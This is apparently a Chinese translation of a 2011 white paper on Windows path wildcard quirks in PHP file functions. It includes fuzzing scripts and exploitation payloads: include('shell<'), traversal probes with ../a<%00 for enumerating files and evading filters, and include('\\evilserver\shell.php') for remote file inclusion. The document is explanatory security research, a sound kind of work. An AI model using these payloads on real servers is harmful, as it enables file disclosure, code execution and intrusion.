windows的文件系统机制引发的PHP路径爆破问题分析


Posted in PHP onJuly 28, 2014

1.开场白

此次所披露的是以下网页中提出的问题所取得的测试结果:
http://code.google.com/p/pasc2at/wiki/SimplifiedChinese

<?php
for ($i=0; $i<255; $i++) {
$url = '1.ph' . chr($i);
$tmp = @file_get_contents($url);
if (!empty($tmp)) echo chr($i) . "\r\n";
}
?>

已知1.php存在,以上脚本访问的结果是:

1.php
1.phP
1.ph<
1.ph>

都能得到返回。
前两种能返回结果是总所周知的(因为windows的文件系统支持大小的互转的机制),另外的两种返回引起了我们的注意。
测试php版本:PHP4.9,PHP5.2,PHP5.3,PHP6.0
测试系统:WINXP SP3 X32,WINXP SP2 X64,WIN7,WIN2K3
经测试我们得出的结论是:该漏洞影响所有的windows+php版本 

2.深入探查模糊测试的结果

为了继续深入探查关于该bug的信息,我们对demo做了些许修改:

<?php
for ($j=0; $i<256; $j++) {
for ($i=0; $i<256; $i++) {
$url = '1.p' . chr($j) . chr($i);
$tmp = @file_get_contents($url);
if (!empty($tmp)) echo chr($j) . chr($i) . "\r\n";
}
}
?>

在调试php解释器的过程中,我们将此“神奇”的漏洞归结为一个Winapi 函数FindFirstFile()所产生的结果(http://msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx).更好玩的是,当跟踪函数调用栈的过程中我们发现字符”>”被替换成”?”,字符”<”被替换成”*”,而符号”(双引号)被替换成一个”.”字符。这在2007年msdn公开的文档中被提及:http://msdn.microsoft.com/en-us/library/community/history/aa364418%28v=vs.85%29.aspx?id=3
但是此bug至今未被任何windows旗下所发行的任何版本修复!
我们要阐明的是,该函数FindFirstFile()在php下的运用远远不至于file_get_contents().关于该bug可以利用的函数我们已经列了如下一表:

windows的文件系统机制引发的PHP路径爆破问题分析
 
此外,我们还发现该利用也可以被运用到c++中,以下采用来自msdn的例子:

#include <windows.h>
#include <tchar.h>
#include <stdio.h>
void _tmain(int argc, TCHAR *argv[])
{
WIN32_FIND_DATA FindFileData;
HANDLE hFind;
if( argc != 2 )
{
_tprintf(TEXT("Usage: %s [target_file]\n"), argv[0]);
return;
}
_tprintf (TEXT("Target file is %s\n"), argv[1]);
hFind = FindFirstFile(argv[1], &FindFileData);
if (hFind == INVALID_HANDLE_VALUE)
{
printf ("FindFirstFile failed (%d)\n", GetLastError());
return;
}
else
{
_tprintf (TEXT("The first file found is %s\n"),
FindFileData.cFileName);
FindClose(hFind);
}
}

当传入参数”c:\bo<”时,成功访问到boot.ini文件。

3.利用方法总结

当调用FindFirstFile()函数时,”<”被替换成”*”,这意味该规则可以使”<”替换多个任意字符,但是测试中发现并不是所有情况都如我们所愿。所以,为了确保能够使”<”被替换成”*”,应当采用”<<”
EXAMPLE:include(‘shell<');  或者include(‘shell<<');    //当文件夹中超过一个以shell打头的文件时,该执行取按字母表排序后的第一个文件。
当调用FindFirstFile()函数时,”>”被替换成”?”,这意味这”>”可以替换单个任意字符
EXAMPLE:include(‘shell.p>p');    //当文件中超过一个以shell.p?p 通配时,该执行取按字母表排序后的第一个文件。
当调用FindFirstFile()函数时,”””(双引号)被替换成”.”
EXAMPLE:include(‘shell”php');    //===>include(‘shell.php');
如果文件名第一个字符是”.”的话,读取时可以忽略之
EXAMPLE:fopen(‘.htacess');  //==>fopen(‘htacess');   //加上第一点中的利用 ==>fopen(‘h<<');
文件名末尾可以加上一系列的/或者\的合集,你也可以在/或者\中间加上.字符,只要确保最后一位为”.”
EXAMPLE:fopen(“config.ini\\.// \/\/\/.”);==>  fopen(‘config.ini\./.\.'); ==>fopen(‘config.ini/////.')==>fopen(‘config.ini…..')   //译者注:此处的利用我不是很理解,有何作用?截断?
该函数也可以调用以”\\”打头的网络共享文件,当然这会耗费不短的时间。补充一点,如果共享名不存在时,该文件操作将会额外耗费4秒钟的时间,并可能触发时间响应机制以及max_execution_time抛错。所幸的是,该利用可以用来绕过allow_url_fopen=Off 并最终导致一个RFI(远程文件包含)
EXAMPLE:include (‘\\evilserver\shell.php');
用以下方法还可以切换文件的盘名
include(‘\\.\C:\my\file.php\..\..\..\D:\anotherfile.php');
选择磁盘命名语法可以用来绕过斜线字符过滤
file_get_contents(‘C:boot.ini'); //==>  file_get_contents (‘C:/boot.ini');
在php的命令行环境下(php.exe),关于系统保留名文件的利用细节
EXAMPLE:file_get_contents(‘C:/tmp/con.jpg'); //此举将会无休无止地从CON设备读取0字节,直到遇到eof
EXAMPLE:file_put_contents(‘C:/tmp/con.jpg',chr(0×07));  //此举将会不断地使服务器发出类似哔哔的声音

4.更深入的利用方法

除了以上已经展示的方法,你可以用下面的姿势来绕过WAF或者文件名过滤
请思考该例:

<?php
file_get_contents("/images/".$_GET['a'].".jpg");
//or another function from Table 1, i.e. include().
?>

访问test.php?a=../a<%00
可能出现两种结果

Warning: include(/images/../a<) [function.include]: failed to open stream:Invalid argument in。。。
Warning: include(/images/../a<) [function.include]: failed to open stream:Permission denied。。

如果是第一种情况,说明不存在a打头的文件,第二种则存在。
 
此外,有记录显示,有时网站会抛出如下错误:

Warning: include(/admin_h1d3) [function.include]: failed to open stream: Permission denied..

这说明该文件夹下存在一个以上以a打头的文件(夹),并且第一个就是admin_h1d3。

5.结论
实验告诉我们,php本身没有那么多的漏洞,我们所看到是:过分的依赖于另一种程序语言(注:如文中的漏洞产自与winapi的一个BUG),并且直接强 制使用,将会导致细微的错误(bug),并最终造成危害(vul).这样便拓宽了模糊测试的范畴(译者注:并不仅仅去研究web层面,而深入到系统底层),并最终导致IDS,IPS的规则更新。诚然,代码需要保护,需要补丁,需要升级与扩充。但是,这并不是我们真正要去关注的问题。在当下,我认为我们 更谨慎地去书写更多更严厉的过滤规则,正如我们一直在做的一样。任重道远,精益求精。
因为这是基础应用层的问题,所以我们猜想类似的问题可能出现在其他web应用中。于是我们还测试了mysql5,而实验结果表明,mysql5并不存在类似的漏洞。但是我们仍认为:类似的漏洞将会出现在诸如Perl、Python、Ruby等解释性语言上。

6.Referer

PHP application source code audits advanced technology:
http://code.google.com/p/pasc2at/wiki/SimplifiedChinese
MSDN FindFirstFile Function reference:
http://msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx
MSDN comments history:
http://msdn.microsoft.com/en-us/library/community/history/aa364418(v=vs.85).aspx?id=3
MSDN article «Naming Files, Paths, and Namespaces»:
http://msdn.microsoft.com/en-us/library/aa365247(v=vs.85).aspx
Technet article «Managing Files and Directories»:
http://technet.microsoft.com/en-us/library/cc722482.aspx
Paper «Technique of quick exploitation of 2blind SQL Injection»:
http://www.exploit-db.com/papers/13696/

 ==================================================================
全文完。
注:该文是2011年底发表的一篇白皮书,至今该bug依然存在。我在几个月前做CUIT的一个CTF时偶遇了一道该bug的利用,当时便是看的此文,当时只是粗粗读了一下,写了一个php的脚本去跑目录。今回闲来无事,翻译整理了一番。

PHP 相关文章推荐
PHP 应用程序的安全 -- 不能违反的四条安全规则
Nov 26 PHP
php更改目录及子目录下所有的文件后缀扩展名的代码
Oct 12 PHP
php 类自动载入的方法
Jun 03 PHP
php显示时间常用方法小结
Jun 05 PHP
在Laravel框架里实现发送邮件实例(邮箱验证)
May 20 PHP
Yii控制器中操作视图js的方法
Jul 04 PHP
PHP中list方法用法示例
Dec 01 PHP
thinkPHP5.0框架配置格式、加载解析与读取方法
Mar 17 PHP
PHP实现生成模糊图片的方法示例
Dec 21 PHP
PHPMailer ThinkPHP实现自动发送邮件功能
Jun 10 PHP
php中目录操作opendir()、readdir()及scandir()用法示例
Jun 08 PHP
php实现大文件断点续传下载实例代码
Oct 01 PHP
浅析PHP程序设计中的MVC编程思想
Jul 28 #PHP
PHP错误Allowed memory size of 67108864 bytes exhausted的3种解决办法
Jul 28 #PHP
php实现的九九乘法口诀表简洁版
Jul 28 #PHP
完美的2个php检测字符串是否是utf-8编码函数分享
Jul 28 #PHP
php5.3以后的版本连接sqlserver2000的方法
Jul 28 #PHP
php中把美国时间转为北京时间的自定义函数分享
Jul 28 #PHP
php的mkdir()函数创建文件夹比较安全的权限设置方法
Jul 28 #PHP
You might like
PHP 数组基础知识小结
2010/08/20 PHP
php使用glob函数快速查询指定目录文件的方法
2014/11/15 PHP
PHP如何将log信息写入服务器中的log文件
2015/07/29 PHP
PHP中模拟链表和链表的基本操作示例
2016/02/27 PHP
php下载远程大文件(获取远程文件大小)的实例
2017/06/17 PHP
ecshop添加菜单及权限分配问题
2017/11/21 PHP
JavaScript 克隆数组最简单的方法
2009/02/12 Javascript
通过jquery还原含有rowspan、colspan的table的实现方法
2012/02/10 Javascript
jQuery提交多个表单的小例子
2013/06/30 Javascript
实现网页页面跳转的几种方法(meta标签、js实现、php实现)
2014/05/20 Javascript
一个支持任意尺寸的图片上下左右滑动效果
2014/08/24 Javascript
jQuery选择器源码解读(六):Sizzle选择器匹配逻辑分析
2015/03/31 Javascript
JavaScript学习小结(一)——JavaScript入门基础
2015/09/02 Javascript
JS随机洗牌算法之数组随机排序
2016/03/23 Javascript
ionic在开发ios系统微信时键盘挡住输入框的解决方法(键盘弹出问题)
2016/09/06 Javascript
详解vue与后端数据交互(ajax):vue-resource
2017/03/16 Javascript
jqueryUI tab标签页代码分享
2017/10/09 jQuery
使用socket.io实现简单聊天室案例
2018/01/02 Javascript
使用Vue.js和Flask来构建一个单页的App的示例
2018/03/21 Javascript
基于node搭建服务器,写接口,调接口,跨域的实例
2018/05/13 Javascript
Element input树型下拉框的实现代码
2018/12/21 Javascript
vue 解决addRoutes多次添加路由重复的操作
2020/08/04 Javascript
Python数据报表之Excel操作模块用法分析
2019/03/11 Python
解决pyecharts在jupyter notebook中使用报错问题
2020/04/23 Python
新手如何发布Python项目开源包过程详解
2019/07/11 Python
浅谈keras中的Merge层(实现层的相加、相减、相乘实例)
2020/05/23 Python
基于Python快速处理PDF表格数据
2020/06/03 Python
Python数据相关系数矩阵和热力图轻松实现教程
2020/06/16 Python
推荐值得学习的12款python-web开发框架
2020/08/10 Python
css实例教程 一款纯css3实现的超炫动画背画特效
2014/11/05 HTML / CSS
浙大网新C/C++面试解惑
2015/05/27 面试题
小学开学寄语
2014/01/19 职场文书
中学教师培训制度
2014/01/31 职场文书
设计专业毕业生求职信
2014/06/25 职场文书
初中语文教学反思范文
2016/03/03 职场文书
SQLServer 错误: 15404,无法获取有关 Windows NT 组/用户 WIN-8IVSNAQS8T7\Administrator 的信息
2021/06/30 SQL Server